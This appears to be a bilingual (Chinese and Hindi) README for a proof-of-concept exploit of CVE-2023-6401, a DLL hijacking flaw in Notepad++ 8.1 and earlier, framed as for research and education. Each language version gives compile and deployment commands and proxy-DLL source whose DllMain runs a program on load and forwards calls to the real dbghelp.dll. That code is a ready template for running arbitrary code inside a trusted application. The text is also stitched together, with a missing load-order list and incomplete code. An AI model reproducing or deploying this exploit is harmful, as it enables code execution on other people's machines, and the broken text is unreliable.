
CVE-2023-6401 एक DLL अपहरण (hijacking) भेद्यता है जो हमलावरों को एप्लिकेशन निर्देशिका में एक दुर्भावनापूर्ण `dbghelp.dll` फ़ाइल रखकर मनमाना कोड निष्पादित करने की अनुमति देती है। यह प्रोजेक्ट भेद्यता को प्रदर्शित करता है और एक प्रतिलिपि योग्य (reproducible) PoC प्रदान करता है।
⚠️ 重要聲明:僅供安全研究和教育目的使用
NotePad++ ≤ 8.1 DLL劫持漏洞的概念驗證。通過在應用程式目錄放置惡意 dbghelp.dll 來執行任意程式碼。
# 下載專案
git clone https://github.com/mekitoci/CVE-2023-6401.git
# 進入專案目錄
cd CVE-2023-6401-main
# 編譯DLL
# gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# 部署到NotePad++目錄
copy dbghelp.dll "C:\Program Files\Notepad++\"
# 執行測試
"C:\Program Files\Notepad++\notepad++.exe"
# 立即清理
del "C:\Program Files\Notepad++\dbghelp.dll"
計算器彈出 + 訊息框顯示 + NotePad++正常啟動

| 項目 | 詳情 |
|---|---|
| CVE編號 | CVE-2023-6401 |
| 影響版本 | NotePad++ ≤ 8.1 |
| 漏洞類型 | DLL劫持 / 搜尋路徑劫持 |
| 影響 | 執行任意程式碼 |
| 前提條件 | 應用程式目錄寫入權限 |
Windows按以下順序載入DLL:
NotePad++啟動時會載入 dbghelp.dll,通過在應用程式目錄放置同名惡意DLL,可在系統DLL載入前執行程式碼。
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// 執行惡意程式碼
WinExec("calc.exe", SW_SHOW);
MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK);
// 載入真實DLL並轉發API調用
char systemPath[MAX_PATH];
GetSystemDirectoryA(systemPath, MAX_PATH);
strcat(systemPath, "\\dbghelp.dll");
realDbghelp = LoadLibraryA(systemPath);
if (realDbghelp)
realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader");
break;
}
return TRUE;
}
gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# 移除惡意DLL
del "C:\Program Files\Notepad++\dbghelp.dll"
# 確認移除
dir "C:\Program Files\Notepad++\dbghelp.dll" 2>nul || echo "清理完成"
本專案僅供教育和安全研究使用。使用者需對遵守適用法律法規承擔全部責任。
⚠️ महत्वपूर्ण अस्वीकरण: केवल सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए
NotePad++ ≤ 8.1 में DLL हाइजैकिंग भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट। एप्लिकेशन निर्देशिका में एक दुर्भावनापूर्ण dbghelp.dll रखकर मनमाना कोड निष्पादित करें।
# प्रोजेक्ट क्लोन करें
git clone https://github.com/mekitoci/CVE-2023-6401.git
# प्रोजेक्ट निर्देशिका में जाएं
cd CVE-2023-6401-main
# gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# NotePad++ निर्देशिका में तैनात करें
copy dbghelp.dll "C:\Program Files\Notepad++\"
# परीक्षण निष्पादित करें
"C:\Program Files\Notepad++\notepad++.exe"
# तुरंत सफाई
del "C:\Program Files\Notepad++\dbghelp.dll"
अपेक्षित परिणाम: कैलकुलेटर पॉप अप होता है + संदेश बॉक्स प्रदर्शित होता है + NotePad++ सामान्य रूप से शुरू होता है

| आइटम | विवरण |
|---|---|
| CVE संख्या | CVE-2023-6401 |
| प्रभावित संस्करण | NotePad++ ≤ 8.1 |
| भेद्यता प्रकार | DLL हाइजैकिंग / खोज क्रम हाइजैकिंग |
| प्रभाव | मनमाना कोड निष्पादन |
| पूर्वापेक्षाएँ | एप्लिकेशन निर्देशिका में लिखने की अनुमति |
Windows निम्नलिखित क्रम में DLL लोड करता है:
NotePad++ स्टार्टअप पर dbghelp.dll लोड करता है। एप्लिकेशन निर्देशिका में समान नाम वाला एक दुर्भावनापूर्ण DLL रखकर, सिस्टम DLL लोड होने से पहले कोड निष्पादित किया जा सकता है।
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// दुर्भावनापूर्ण कोड निष्पादित करें
WinExec("calc.exe", SW_SHOW);
MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK);
// वास्तविक DLL लोड करें और API कॉल अग्रेषित करें
char systemPath[MAX_PATH];
GetSystemDirectoryA(systemPath, MAX_PATH);
strcat(systemPath, "\\dbghelp.dll");
realDbghelp = LoadLibraryA(systemPath);
if (realDbghelp)
realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader");
break;
}
return TRUE;
}
gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# दुर्भावनापूर्ण DLL निकालें
del "C:\Program Files\Notepad++\dbghelp.dll"
# हटाने की पुष्टि करें
dir "C:\Program Files\Notepad++\dbghelp.dll" 2>nul || echo "सफाई पूर्ण"
यह प्रोजेक्ट केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए है। उपयोगकर्ता लागू कानूनों और विनियमों के अनुपालन के लिए पूरी तरह से जिम्मेदार हैं।